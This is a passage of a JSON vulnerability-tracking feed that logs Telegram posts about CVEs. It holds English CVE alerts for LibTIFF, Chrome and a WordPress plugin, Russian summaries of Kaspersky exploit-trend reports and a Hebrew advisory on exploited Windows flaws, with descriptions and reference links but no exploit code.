https://gitlab.com/libtiff/libtiff/-/issues/496\n2. https://gitlab.com/libtiff/libtiff/-/commit/33aee1275d9d1384791d2206776eb8152d397f00\n3. https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-0800.json\n4. https://lists.debian.org/debian-lts-announce/2023/02/msg00026.html\n5. https://www.debian.org/security/2023/dsa-5361\n6. https://security.netapp.com/advisory/ntap-20230316-0002/\n7. https://security.gentoo.org/glsa/202305-31", "creation_timestamp": "2025-03-21T19:19:45.000000Z"}, {"uuid": "b9c15676-f12f-4e13-94be-cb5e6ecfd484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0803", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8417", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0803\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)\n\ud83d\udd39 Description: LibTIFF 4.4.0 has an out-of-bounds write in tiffcrop in tools/tiffcrop.c:3516, allowing attackers to cause a denial-of-service via a crafted tiff file. For users that compile libtiff from sources, the fix is available with commit 33aee127.\n\ud83d\udccf Published: 2023-02-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-21T18:55:10.527Z\n\ud83d\udd17 References:\n1. https://gitlab.com/libtiff/libtiff/-/commit/33aee1275d9d1384791d2206776eb8152d397f00\n2. https://gitlab.com/libtiff/libtiff/-/issues/501\n3. https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-0803.json\n4. https://lists.debian.org/debian-lts-announce/2023/02/msg00026.html\n5. https://www.debian.org/security/2023/dsa-5361\n6. https://security.netapp.com/advisory/ntap-20230316-0002/\n7. https://security.gentoo.org/glsa/202305-31", "creation_timestamp": "2025-03-21T19:19:52.000000Z"}, {"uuid": "d1c1322e-0469-4584-b4ae-d87e4ab4f675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0803", "type": "published-proof-of-concept", "source": "Telegram/uD0qGdbiQ2WHuyBpvE_0LEOT_m0B0zzJl6Hg_UASLbk8qQc", "content": "", "creation_timestamp": "2026-01-09T17:05:10.000000Z"}, {"uuid": "33b96e6d-ee3b-4c2a-8d17-b3dcef55fe4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0804", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17333", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-0804\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Insufficient policy enforcement in iOS Security UI in Google Chrome prior to 121.0.6167.85 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)\n\ud83d\udccf Published: 2024-01-23T23:53:01.190Z\n\ud83d\udccf Modified: 2025-05-22T17:33:41.380Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_23.html\n2. https://crbug.com/1515137\n3. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VXDSGAFQD4BDB4IB2O4ZUSHC3JCVQEKC/\n4. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MMI6GXFONZV6HE3BPZO3AP6GUVQLG4JQ/", "creation_timestamp": "2025-05-22T17:43:34.000000Z"}, {"uuid": "1818ad7e-1ec8-422e-a756-b6101235de6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0801", "type": "seen", "source": "Telegram/FzkWCaLFVjlnsv1D71eudUroBzzd1UPSlFZ5O4raqhOqCK1B", "content": "", "creation_timestamp": "2025-03-02T11:44:22.000000Z"}, {"uuid": "302b4adc-e19b-4b9d-9c41-24c82db72dfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/true_secator/7370", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u0447\u0435\u0442 \u0437\u0430 2 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0433\u043e\u0434\u0430.\n\n\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0432\u0435\u0441\u044c\u043c\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u043d\u043e\u0439.\n\n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430: UEFI, \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043d\u0430\u0448\u0435\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043a\u0430\u043a \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u044b,\u00a0\u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430, \u043a\u0430\u043a \u0438 \u043f\u0440\u0435\u0436\u0434\u0435, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft Office, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Windows \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2018-0802 (RCE\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor), CVE-2017-11882 (\u0435\u0449\u0435 \u043e\u0434\u043d\u0430 RCE \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b), CVE-2017-0199 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Office \u0438 WordPad, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439).\n\n\u0414\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 WinRAR \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 NetNTLM \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows: CVE-2023-38831 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 WinRAR), CVE-2025-24071 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a\u0430 Windows) \u0438 CVE-2024-35250 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u00a0ks.sys).\n\n\u0414\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Dirty Pipe), CVE-2019-13272 (EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0438 CVE-2021-22555 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430 Netfilter).\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043c\u044b \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u043e \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u0445 C2 (Sliver, Metasploit, Havoc \u0438 Brute Ratel C4) \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 C2, \u0432 \u041b\u041a \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0443\u0447\u0430\u0441\u0442\u0438\u0435\u043c \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0432\u044b\u0448\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u043e\u0432 C2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\n- CVE-2025-31324 \u0432 SAP NetWeaver Visual Composer Metadata Uploader: \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10,0.\n\n- CVE-2024-1709 \u0432 ConnectWise ScreenConnect 23.9.7: \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10,0.\n\n- CVE-2024-31839, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f CHAOS v5.0.1: \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a EoP.\n\n- CVE-2024-30850, RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 CHAOS v5.0.1: \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\n- CVE-2025-33053: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0434\u043b\u044f LNK-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 Windows: \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u0427\u0435\u0442\u043a\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430, \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0439 TOP 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\u00a0\u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-08-27T15:30:05.000000Z"}, {"uuid": "266dc2ab-0279-4656-bae9-8bb9f25628bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "exploited", "source": "https://t.me/CyberGovIL/413", "content": "\u05d1-9 \u05dc\u05d7\u05d5\u05d3\u05e9 \u05e4\u05e8\u05e1\u05de\u05d4 \u05de\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05db- 74 \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05d0\u05d1\u05d8\u05d7\u05d4 \u05dc\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05ea\u05d5\u05db\u05e0\u05d5\u05ea \u05e0\u05ea\u05de\u05db\u05d5\u05ea, 16 \u05de\u05e1\u05d5\u05d5\u05d2\u05d5\u05ea \u05db\u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea.\n\n\u05d9\u05d3\u05d5\u05e2 \u05e2\u05dc 2 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea (CVE-2019-0803 \u05d5- CVE-2019-0859) \u05d1- win32k,\n\n\u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05dc\u05ea\u05e7\u05d9\u05e4\u05d5\u05ea \u05d5\u05e2\u05dc\u05d5\u05dc\u05d5\u05ea \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e3 \u05de\u05e7\u05d5\u05d5\u05df (logged in) \u05d4\u05e2\u05dc\u05d0\u05ea \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05d5\u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05d1\u05e8\u05de\u05ea \u05d4- Kernel.\n\n\u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d4\u05d7\u05de\u05d5\u05e8\u05d5\u05ea \u05d1\u05d9\u05d5\u05ea\u05e8 \u05e2\u05dc\u05d5\u05dc\u05d5\u05ea \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d4\u05e4\u05e2\u05dc\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 (RCE).", "creation_timestamp": "2019-04-10T12:26:05.000000Z"}, {"uuid": "68b089b8-ceab-4700-9af6-e2c5d6b20aa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0809", "type": "seen", "source": "https://t.me/cvedetector/16894", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0809 - WordPress Link Fixer Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-0809 \nPublished : Jan. 31, 2025, 6:15 a.m. | 1\u00a0hour, 29\u00a0minutes ago \nDescription : The Link Fixer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via broken links in all versions up to, and including, 3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T09:30:58.000000Z"}, {"uuid": "9c9f378d-33ed-41b5-a16f-132e71dfefc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/true_secator/7103", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0431\u043e\u043c\u0431\u0438\u0442\u044c \u043e\u0442\u0447\u0435\u0442\u0430\u043c\u0438, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u043e\u0434\u043e\u0433\u043d\u0430\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0433\u043e\u0434\u0430.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b\u0430\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 2024 \u0433\u043e\u0434\u0443, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0438\u0445 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0433\u043e\u0434\u044b.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 CWE \u0438\u0437 TOP 10 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Microsoft \u0438 \u044f\u0434\u0440\u0430 Linux \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c\u0438, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, 